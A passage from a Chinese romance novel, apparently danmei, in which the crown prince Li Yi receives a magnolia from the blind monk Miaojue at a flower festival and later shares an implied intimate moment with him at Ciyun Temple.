他握在手中的花朵,就这样带着他的体香,吹了薛洽和妙觉一脸。 李颐哈哈笑道:“好玩儿,你怎么没去?” 我怎么没去呢?! 薛洽没说话,就痴了那么一拍,李颐已经拉过妙觉:“方才我在楼上瞧见爹爹了……你这玉兰好看,谁送的?” “我送的!”薛洽说,“殿下要么?我想……我想送殿下一支,可以吗?” 李颐刚想说自己都被浇了一头一脸了,还送什么呀!还没拒绝呢,妙觉又攫走了他的注意:“善思,你有花吗?” 李颐淋着满袖芬芳笑道:“我没有呀!” 其实他也没说假话,父亲带头以后,大家都不送花,改撒花瓣了,李颐找了个空从队伍里下来,被羽林卫保护着,自然没人敢上前送花。 花多了也不好,李颐觉得鼻子里进了灰,想打喷嚏,花瓣还被汗黏在脖子上,捏一下,残红绽在手心。 妙觉绽开一个笑容:“我的送给你,好不好?” 李颐笑了,把花从妙觉手里拿过:“好啊,这是我今天收到的第一朵花。” 薛洽在心里怒骂他道貌岸然,借花献佛臭不要脸。 妙觉很开心,由衷地。 他陪李颐找到裴见濯,李颐说李知微在,可李知微最后还是没有露脸。 裴见濯对此的解释是:“方才陛下有急事回宫去了,命我嘱托殿下,殿下这几日生病,学业荒疏,所以——” 李颐有点紧张,因为他的风寒早好了,后面几天全在秘而不宣地养屁股,如果父亲看过他的脉案,估计要以为他是在装病不肯读书。 裴见濯一笑:“所以,许殿下再在外头玩五天,二月二十,回家读书,好不好?” “好!” 李颐记事以来就没有在宫外呆过这么久,没想到因祸得福,让爹爹以为他学业太重从而放他在外面玩。 真是意外之喜! 于是忙不迭答应下来,和妙觉去了慈云寺。 慈云寺内外多了金吾卫巡逻,妙觉的小楼安静一如往常。 李颐小鸟一样穿梭来去,找了个花瓶,郑重把玉兰插.进去。 叮当一声响,妙觉就知道自己的屋子里多了一点摆设。 李颐总会给他带来一点新奇的东西,就好像今天非要灌进他衣领的春风。 妙觉的精舍里从来没有过花,也从来没有过亲吻,他在佛前长跪,李颐的嘴唇贴着他的脖子,暗示着半个月前在东宫发生的事。 他的伤养好了? 在世尊注视下,妙觉没有拒绝。 他甚至非常主动。 他很开心。 所有人都说李颐很美,夸得天花乱坠,说他的眼神像吹皱的秋水,说他的肌肤像发光的明珠,妙觉没有见过秋水,也没有见过明珠,他只知道那些是很美丽的东西,他幻想不出美丽,他只知道美丽是好的,一切好的东西,在这个帝国,都理所当然地要用来奉献或者形容太子。 可今天,花朝节,喜欢谁就给谁送花,谁好看就给谁送花,李颐空手而归、一无所获,可见是长相平平。 甚至是丑陋的。 李颐如果不是太子,就什么都没有,没人爱他。 那些溢美之词是给太子的,不是给李颐的。 想到李颐很丑,很不好,他就有点爱李颐了。